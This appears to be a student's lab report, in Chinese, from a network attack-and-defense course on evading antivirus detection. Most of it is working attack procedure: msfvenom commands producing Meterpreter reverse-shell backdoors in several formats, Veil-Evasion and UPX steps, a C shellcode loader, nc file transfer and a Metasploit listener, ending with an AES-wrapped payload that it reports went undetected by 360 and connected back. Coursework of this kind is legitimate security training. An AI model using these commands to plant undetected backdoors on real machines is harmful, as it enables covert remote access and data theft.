20242309 2026-2027-1 《网络与系统攻防技术》实验三实验报告
20242309 2026-2027-1 《网络与系统攻防技术》实验三实验报告
1.基础知识
1.1 基础问题
(1)杀软是如何检测出恶意代码的?
杀软检测恶意代码主要有三类机制。一是特征码检测:杀软维护病毒库,把文件中的二进制片段、字符串或哈希与库中记录比对,命中就判定为恶意。二是启发式检测:不依赖固定特征,而是看代码结构、指令序列、API调用组合是否像恶意程序,用来发现未知样本。三是行为检测:程序运行时监控其行为,如批量改注册表、注入其他进程、连接可疑IP、加密大量文件等,触发规则就拦截。现在还会结合云查杀、沙箱动态分析和机器学习模型。
(2)免杀是做什么?
免杀(Anti-AntiVirus,AV evasion)是让恶意代码绕过杀软检测和拦截的技术。它通过编码、加壳、加密、混淆、行为规避等手段,改变样本的静态特征或运行行为。
(3)免杀的基本方法有哪些?
- 特征码免杀:修改二进制内容、编码payload、加壳压缩、改特征字符串,避免与病毒库匹配。
- 行为免杀:延迟执行、分段执行、注入合法进程、利用白名单程序,降低行为可疑度。
- 混淆免杀:插入花指令、打乱控制流、使用复杂加密,增加静态分析难度。此外还有分离免杀、内存加载、环境检测等思路。
本次实验主要用了编码、加壳和AES加密+内存解密。
(4)开启杀软能绝对防止电脑中恶意代码吗?
不能。特征库对已知样本有效,但对零日样本和免杀样本可能失效;行为检测也可能被延迟、注入、白利用绕过;很多攻击还利用钓鱼、社会工程让用户主动执行。杀软是重要防线,但不是绝对防线,需要补丁、权限控制、网络防护和安全意识配合。
1.2 实验工具原理
- msfvenom/编码器:msfvenom用来生成各种格式的payload;
-e指定编码器,-i指定编码迭代次数,-b去掉坏字符,-f指定输出格式。x86/shikata_ga_nai是多态异或编码器,x86/unicode_mixed生成Unicode混合编码,目的是改变样本特征。 - Veil-Evasion:payload封装框架,支持C、Python等模块。Python模块会把shellcode用AES加密,再用PyInstaller打包成exe;运行时在内存中解密执行,磁盘上不出现明文shellcode。
- UPX:可执行文件压缩壳。它压缩程序并改变文件特征,运行时自解压;对静态特征码有一定绕过效果,但对行为监控和内存检测无效。
- C+shellcode:把msfvenom生成的shellcode放进
unsigned char数组,转换成函数指针执行。没有加密时,shellcode特征明显,容易被杀软检出。
2.实验内容
2.1 实验环境
| 项目 | 版本/说明 |
|---|---|
| 攻击机 | Kali Linux |
| Metasploit | 6.4.108-dev |
| Veil-Evasion | 3.1.14 |
| UPX | 4.2.4 |
| 目标机 | Windows主机 |
| 杀软 | 360安全卫士 |
| 检测平台 | VirScan多引擎在线检测 |
Kali初始IP为192.168.193.128,实验中途变为192.168.193.129。

2.2 实验任务与方案
本实验分四部分:
- 用msfvenom生成exe、php、jar等格式的后门,使用shikata_ga_nai、unicode_mixed编码,比较VirScan检出率;
- 用Veil-Evasion生成C模块后门,再用UPX加壳,比较检出率;
- 用C语言编写shellcode loader,编译成exe并检测;
- 用Veil的python模块+AES生成组合免杀载荷,在开启360的Windows主机上实测回连。
方案:以实验二生成的原始后门20242309_backdoor.exe(VirScan24/48)为基线,逐项改变编码、封装、加壳方式,记录检出数;最后用360实测验证“与杀软共生”。
3.实验过程
3.1 使用msf编码器与msfvenom多格式生成
先用VirScan检测实验二的后门20242309_backdoor.exe作为基线,结果为24/48检出。

使用x86/shikata_ga_nai编码一次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.193.128 LPORT=2309 -f exe > 20242309backdoor2.exe
-e选择编码器,-b去掉坏字符(\x00是shellcode的结束符,不能让它出现在payload中)。检测结果为23/48,与基线相比只少1个,变化不大。

使用x86/unicode_mixed编码12次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i 12 -b '\x00' LHOST=192.168.193.128 LPORT=2309 -f exe > 20242309backdoor3.exe
检测结果为23/48,与编码一次相同,说明单纯增加编码次数对多引擎杀软作用有限。

说明:早期截图中的命令写成了
-i -12,msfvenom日志显示按-12 iterations处理,并未真正完成12次迭代;正确参数是-i 12,详见问题3。
生成PHP后门:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.193.128 LPORT=2309 -f raw > 20242309_backdoor_php.php
检测结果为7/48。

生成JAR后门:
msfvenom -p java/shell_reverse_tcp LHOST=192.168.193.128 LPORT=2309 -f jar > 20242309_backdoor_jar.jar
检测结果为14/48。

3.2 Veil-Evasion与UPX加壳
安装Veil前先安装Wine及32位依赖:
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
apt-get install libncurses5*
apt-get install libavutil55*
apt-get install gcc-mingw-w64
sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt install wine
winecfg
安装Veil:
apt-get install veil
cd /usr/share/veil/config/
vim setup.sh
把setup.sh中的GitHub下载地址替换为Gitee镜像(见问题2),然后执行安装。安装完成后启动Veil,版本为3.1.14。

实验过程中笔记本网络发生变化,Kali的IP从192.168.193.128变成192.168.193.129,后续payload统一使用新IP。

用Veil的C模块生成后门:
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.193.129
set LPORT 2309
generate
文件名输入20242309veil,生成路径为/var/lib/veil/output/compiled/20242309veil.exe。

把文件移到桌面,放入VirScan检测,结果为11/48。

将文件移到桌面:

用UPX 4.2.4加壳:
cd /var/lib/veil/output/compiled
upx 20242309veil.exe -o 20242309_veil_upx.exe
压缩率为57.51%。

检测结果为7/48,比未加壳的11/48又低了一些。

3.3 使用C+shellcode编程
用msfvenom生成C格式shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.193.129 LPORT=2309 -f c
生成的shellcode为354字节,C文件1518字节。

编辑shellcode_c20242309.c,把shellcode放进buf数组,并加上执行代码:
unsigned char buf[] = "\xfc\xe8\x8f..."; // 省略中间字节
int main()
{
int (*func)() = (int(*)())buf;
func();
}
用MinGW编译:
i686-w64-mingw32-g++ shellcode_c20242309.c -o shellcode_c20242309.exe

把exe放入VirScan检测,结果为10/48。VirScan页面长时间显示“分析中”,截图时48个引擎已完成,其中10个检出。

3.4 组合应用技术实现免杀
用Veil的python模块生成AES加密的payload:
veil
use evasion
use python/meterpreter/rev_tcp.py
set LHOST 192.168.193.129
set LPORT 2309
generate
文件名输入2309qxd,生成2309qxd.exe和2309qxd.py。

检测结果:2309qxd.exe为13/48,源脚本2309qxd.py为6/48。


原理:Veil的python模块先把shellcode用AES加密,再用PyInstaller打包成exe。程序运行时在内存中解密并加载shellcode,磁盘上不出现明文shellcode,静态特征码扫描难以命中;同时它没有使用UPX这类常见壳,规避了针对壳的启发式规则。实际结果是VirScan仍有13/48检出,说明这不是通用免杀;但在目标机的360上未被检出(见3.5)。
3.5 用另一台电脑实测(360开启)
在Windows主机上用ncat接收文件:
ncat -lv 2309 > 20242309_veil_upx.exe
在Kali上传输:
nc 192.168.10.103 2309 < 20242309_veil_upx.exe
用同样的方法把shellcode_c20242309.exe和2309qxd.exe传到E:\qxd\vir。Windows主机在局域网中的地址是192.168.10.103;Kali通过VMware NAT回连时,源地址显示为NAT网关192.168.193.1。
用360安全卫士12对E:\qxd\vir下的3个文件做自定义扫描,结果2个被判定为木马并建议隔离:20242309_veil_upx.exe(Win32/Trojan.Leivion.HwsBJ1QA)和shellcode_c20242309.exe(Win32/HackTool.Meterpreter.HgIAUAcA);2309qxd.exe未被检出。

在Kali上启动msf监听:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.193.129
set LPORT 2309
exploit
双击运行2309qxd.exe,360未拦截,msf成功回连,获得Meterpreter session,执行dir可以看到E:\qxd\vir下的文件。

实验结果汇总:
| 文件 | 处理方式 | VirScan检出 | 360实测 |
|---|---|---|---|
20242309_backdoor.exe |
原始后门 | 24/48 | 未测 |
20242309backdoor2.exe |
shikata_ga_nai×1 | 23/48 | 未测 |
20242309backdoor3.exe |
unicode_mixed(命令误写-i -12) |
23/48 | 未测 |
20242309_backdoor_php.php |
PHP payload | 7/48 | 未测 |
20242309_backdoor_jar.jar |
JAR payload | 14/48 | 未测 |
20242309veil.exe |
Veil C模块 | 11/48 | 未测 |
20242309_veil_upx.exe |
Veil+UPX | 7/48 | 检出,建议隔离 |
shellcode_c20242309.exe |
C+shellcode | 10/48 | 检出,建议隔离 |
2309qxd.exe |
Veil python+AES | 13/48 | 未检出,回连成功 |
2309qxd.py |
Veil python源脚本 | 6/48 | — |
从表中可以看出:编码对多引擎几乎无效;换语言、加壳能降低检出率,但360仍能检出UPX和C loader;只有python+AES生成的exe在360上未被检出并成功回连。
不过需要说明的是,该exe在VirScan上仍有13/48检出,所以这是针对360的免杀成功,不是通用免杀。
4.问题及解决方案
- 问题1:安装Veil时,Wine运行Python 3.4.4安装程序卡在“Select Destination Directory”,终端报wine32 is missing、CoMarshalInterface failed、start_rpcss failed。
- 问题1解决方案:Kali默认只有64位Wine,而Veil依赖32位Wine。先执行sudo dpkg --add-architecture i386、sudo apt update、sudo apt install wine32 wine64,再运行Veil安装脚本。Veil已停止维护,安装脚本和新版Kali/Wine有兼容问题,必要时换用兼容的Wine版本。
- 问题2:Veil安装脚本从GitHub下载依赖很慢,多次中断。
- 问题2解决方案:把
/usr/share/veil/config/setup.sh中的GitHub下载地址替换为Gitee镜像地址,再重新执行安装。

5.学习感悟、思考等
本次实验先以实验二的原始后门为基线(24/48),再比较不同处理:shikata_ga_nai编码一次23/48,unicode_mixed编码23/48,PHP7/48,JAR14/48,Veil C模块11/48,UPX加壳7/48,C+shellcode10/48,Veil python+AES13/48。编码对多引擎几乎无效;换语言、加壳能降低检出率,但360仍能检出UPX和C loader;只有python+AES生成的exe在360的扫描中未被检出,双击后成功回连。
实验过程也不是很顺利:Veil安装卡在Wine和Python 3.4.4,换了虚拟机才定位到wine32缺失;Kali的IP中途从.128变成.129,payload要重新生成;VirScan分析慢,360又把UPX和C loader报毒,只有AES版活下来。这些问题让我体会到,实验记录、环境备份和逐步验证非常重要。

浙公网安备 33010602011771号